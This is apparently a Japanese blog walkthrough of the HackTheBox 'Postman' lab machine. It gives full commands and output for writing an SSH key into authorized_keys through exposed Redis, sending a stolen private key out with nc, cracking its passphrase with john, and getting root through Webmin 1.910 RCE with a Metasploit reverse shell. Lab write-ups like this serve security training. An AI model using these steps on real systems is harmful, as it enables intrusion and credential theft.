🔥

HackTheBox Postman

2022/09/20に公開

Postman

侵入

nmap

ポートスキャン

┌──(kali㉿kali)-[~/Desktop/Postman]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.10.160 -oN nmap.log
Starting Nmap 7.91 ( https://nmap.org ) at 2022-09-20 15:31 JST
PORT      STATE    SERVICE    REASON         VERSION
22/tcp    open     tcpwrapped syn-ack ttl 63
| ssh-hostkey: 
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp    open     tcpwrapped syn-ack ttl 63
|_http-favicon: Unknown favicon MD5: E234E3E8040EFB1ACD7028330A956EBF
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
6379/tcp  open     redis      syn-ack ttl 63 Redis key-value store 4.0.9
10000/tcp open     http       syn-ack ttl 63 MiniServ 1.910 (Webmin httpd)
|_http-favicon: Unknown favicon MD5: 32F9DCE6752A671D0CBD814A6FC15A14
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: MiniServ/1.910
|_http-title: Login to Webmin
|_http-trane-info: Problem with XML parsing of /evox/about
15259/tcp filtered unknown    no-response
48366/tcp filtered unknown    no-response
52848/tcp filtered unknown    no-response

22、80、6379、10000番ポートを確認

web


80番では、特に情報は見当たらない

10000番にアクセスすると、Webmin のログインページが表示された

redis

6379番が開いているので、redis を使用して SSH 接続を試みる

┌──(kali㉿kali)-[~/Desktop/Postman]
└─$ (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > ssh.txt

先に、使用する公開鍵を ssh.txt に書き込む

┌──(kali㉿kali)-[~/Desktop/Postman]
└─$ cat ssh.txt | redis-cli -h 10.10.10.160 -x set ssh_key

公開鍵を redis にインポート

┌──(kali㉿kali)-[~/Desktop/Postman]
└─$ redis-cli -h 10.10.10.160                                        
10.10.10.160:6379> config set dir /var/lib/redis/.ssh
OK
10.10.10.160:6379> config set dbfilename "authorized_keys"
OK
10.10.10.160:6379> save
OK

最後に、authorized_keys として公開鍵を保存

redis としてのシェル

SSH

公開鍵に対応する秘密鍵で、SSH 接続を行う

┌──(kali㉿kali)-[~/Desktop/Postman]
└─$ ssh -i ~/.ssh/id_rsa redis@10.10.10.160                           
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch
Last login: Mon Aug 26 03:04:25 2019 from 10.10.10.1
redis@Postman:~$ whoami
redis

シェル取得成功

列挙

find

redis に、user.txt の権限はなかったため、移動が必要

redis@Postman:/home$ ls -l
total 4
drwxr-xr-x 6 Matt Matt 4096 Sep 11  2019 Matt

ホームディレクトリを覗くと、Matt というユーザの存在を発見

redis@Postman:~$ find / -user Matt 2>/dev/null
/opt/id_rsa.bak
/home/Matt
/home/Matt/.bashrc
/home/Matt/.bash_history
/home/Matt/.gnupg
/home/Matt/.ssh
/home/Matt/user.txt
/home/Matt/.selected_editor
/home/Matt/.local
/home/Matt/.local/share
/home/Matt/.profile
/home/Matt/.cache
/home/Matt/.wget-hsts
/home/Matt/.bash_logout
/var/www/SimpleHTTPPutServer.py

find を実行すると、id_rsa.bak という怪しいファイルを発見

id_rsa.bak

ファイルの中身を確認する

redis@Postman:/opt$ cat id_rsa.bak
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C

JehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX
cwGJJUD9kKJniJkJzrvF1WepvMNkj9ZItXQzYN8wbjlrku1bJq5xnJX9EUb5I7k2
7GsTwsMvKzXkkfEZQaXK/T50s3I4Cdcfbr1dXIyabXLLpZOiZEKvr4+KySjp4ou6
cdnCWhzkA/TwJpXG1WeOmMvtCZW1HCButYsNP6BDf78bQGmmlirqRmXfLB92JhT9
1u8JzHCJ1zZMG5vaUtvon0qgPx7xeIUO6LAFTozrN9MGWEqBEJ5zMVrrt3TGVkcv
EyvlWwks7R/gjxHyUwT+a5LCGGSjVD85LxYutgWxOUKbtWGBbU8yi7YsXlKCwwHP
UH7OfQz03VWy+K0aa8Qs+Eyw6X3wbWnue03ng/sLJnJ729zb3kuym8r+hU+9v6VY
Sj+QnjVTYjDfnT22jJBUHTV2yrKeAz6CXdFT+xIhxEAiv0m1ZkkyQkWpUiCzyuYK
t+MStwWtSt0VJ4U1Na2G3xGPjmrkmjwXvudKC0YN/OBoPPOTaBVD9i6fsoZ6pwnS
5Mi8BzrBhdO0wHaDcTYPc3B00CwqAV5MXmkAk2zKL0W2tdVYksKwxKCwGmWlpdke
P2JGlp9LWEerMfolbjTSOU5mDePfMQ3fwCO6MPBiqzrrFcPNJr7/McQECb5sf+O6
jKE3Jfn0UVE2QVdVK3oEL6DyaBf/W2d/3T7q10Ud7K+4Kd36gxMBf33Ea6+qx3Ge
SbJIhksw5TKhd505AiUH2Tn89qNGecVJEbjKeJ/vFZC5YIsQ+9sl89TmJHL74Y3i
l3YXDEsQjhZHxX5X/RU02D+AF07p3BSRjhD30cjj0uuWkKowpoo0Y0eblgmd7o2X
0VIWrskPK4I7IH5gbkrxVGb/9g/W2ua1C3Nncv3MNcf0nlI117BS/QwNtuTozG8p
S9k3li+rYr6f3ma/ULsUnKiZls8SpU+RsaosLGKZ6p2oIe8oRSmlOCsY0ICq7eRR
hkuzUuH9z/mBo2tQWh8qvToCSEjg8yNO9z8+LdoN1wQWMPaVwRBjIyxCPHFTJ3u+
Zxy0tIPwjCZvxUfYn/K4FVHavvA+b9lopnUCEAERpwIv8+tYofwGVpLVC0DrN58V
XTfB2X9sL1oB3hO4mJF0Z3yJ2KZEdYwHGuqNTFagN0gBcyNI2wsxZNzIK26vPrOD
b6Bc9UdiWCZqMKUx4aMTLhG5ROjgQGytWf/q7MGrO3cF25k1PEWNyZMqY4WYsZXi
WhQFHkFOINwVEOtHakZ/ToYaUQNtRT6pZyHgvjT0mTo0t3jUERsppj1pwbggCGmh
KTkmhK+MTaoy89Cg0Xw2J18Dm0o78p6UNrkSue1CsWjEfEIF3NAMEU2o+Ngq92Hm
npAFRetvwQ7xukk0rbb6mvF8gSqLQg7WpbZFytgS05TpPZPM0h8tRE8YRdJheWrQ
VcNyZH8OHYqES4g2UF62KpttqSwLiiF4utHq+/h5CQwsF+JRg88bnxh2z2BD6i5W
X+hK5HPpp6QnjZ8A5ERuUEGaZBEUvGJtPGHjZyLpkytMhTjaOrRNYw==
-----END RSA PRIVATE KEY-----

暗号化はされているが、名前の通り、秘密鍵であることがわかる
kali 側にダウンロードしておく

redis@Postman:/opt$ nc 10.10.14.12 5555 < id_rsa.bak
┌──(kali㉿kali)-[~/Desktop/Postman]
└─$ nc -lvnp 5555 > matt_rsa                                                
listening on [any] 5555 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.160] 41426

名前は matt_rsa にしておく

john

復号していく

┌──(kali㉿kali)-[~/Desktop/Postman]
└─$ /usr/share/john/ssh2john.py matt_rsa > matt_rsa_ssh2       
                                                                                                                                
┌──(kali㉿kali)-[~/Desktop/Postman]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt matt_rsa_ssh2            
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
computer2008     (matt_rsa)
1g 0:00:00:12 DONE (2022-09-20 16:14) 0.08244g/s 1182Kp/s 1182Kc/s 1182KC/sa6_123..*7¡Vamos!
Session completed

computer2008 という文字列が出力された

Matt としてのシェル

su

matt_rsa を使用し、SSH 接続を試みたが上手くいかなかったため、su を実行してみる

redis@Postman:~$ su Matt
Password: 
Matt@Postman:/var/lib/redis$ whoami
Matt

シェルの取得に成功

user フラグ

Matt@Postman:~$ cat user.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

フラグ取得

権限昇格

webmin

Matt の認証情報で Webmin にアクセスできないか試してみる

アクセス成功。バージョンが 1.910 であることが確実となった

searchsploit

┌──(kali㉿kali)-[~/Desktop/Postman]
└─$ searchsploit webmin      
---------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                |  Path
---------------------------------------------------------------------------------------------- ---------------------------------
Webmin 1.910 - 'Package Updates' Remote Command Execution (Metasploit) 
---------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

RCE を発見

msfconsole

msf6 > search webmin

Matching Modules
================

   #  Name                                         Disclosure Date  Rank       Check  Description
   -  ----                                         ---------------  ----       -----  -----------
   0  exploit/unix/webapp/webmin_show_cgi_exec     2012-09-06       excellent  Yes    Webmin /file/show.cgi Remote Command Execution
   1  auxiliary/admin/webmin/file_disclosure       2006-06-30       normal     No     Webmin File Disclosure
   2  exploit/linux/http/webmin_packageup_rce      2019-05-16       excellent  Yes    Webmin Package Updates Remote Command Execution
   3  exploit/unix/webapp/webmin_upload_exec       2019-01-17       excellent  Yes    Webmin Upload Authenticated RCE
   4  auxiliary/admin/webmin/edit_html_fileaccess  2012-09-06       normal     No     Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access
   5  exploit/linux/http/webmin_backdoor           2019-08-10       excellent  Yes    Webmin password_change.cgi Backdoor


Interact with a module by name or index. For example info 5, use 5 or use exploit/linux/http/webmin_backdoor

先ほど発見したものと同じ RCE を No.2 で発見

msf6 > use 2
[*] Using configured payload cmd/unix/reverse_perl
msf6 exploit(linux/http/webmin_packageup_rce) >

use を実行

msf6 exploit(linux/http/webmin_packageup_rce) > show options

Module options (exploit/linux/http/webmin_packageup_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       Webmin Password
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      10000            yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path for Webmin application
   USERNAME                    yes       Webmin Username
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Webmin <= 1.910

show options で詳細を確認。PASSWORD や USERNAME が必要であることがわかる

msf6 exploit(linux/http/webmin_packageup_rce) > set PASSWORD computer2008
PASSWORD => computer2008
msf6 exploit(linux/http/webmin_packageup_rce) > set USERNAME Matt
USERNAME => Matt
msf6 exploit(linux/http/webmin_packageup_rce) > set RHOSTS 10.10.10.160
RHOSTS => 10.10.10.160
msf6 exploit(linux/http/webmin_packageup_rce) > set LHOST 10.10.14.12
LHOST => 10.10.14.12
msf6 exploit(linux/http/webmin_packageup_rce) > set LPORT 5555
LPORT => 5555
msf6 exploit(linux/http/webmin_packageup_rce) > set SSL True
[!] Changing the SSL option's value may require changing RPORT!
SSL => True

上記のように設定

root としてのシェル

run

msf6 exploit(linux/http/webmin_packageup_rce) > run

[*] Started reverse TCP handler on 10.10.14.12:5555 
[+] Session cookie: b67db3421349b8ee8e9fcfe40e1825c8
[*] Attempting to execute the payload...
[*] Command shell session 1 opened (10.10.14.12:5555 -> 10.10.10.160:41428) at 2022-09-20 17:23:18 +0900

root@Postman:/usr/share/webmin/package-updates/# whoami
root

権限昇格成功

root フラグ

root@Postman:~# cat root.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

フラグ取得

所感

今回のボックスは、redis を使用するいい勉強となった。SSH だけでなく、PHP の WebShell なども使用することができるらしいので、試してみたい。su で Matt のパスワードを使用できるとは思わなかったが、ダメ元で入力してみてよかったと思う。

Discussion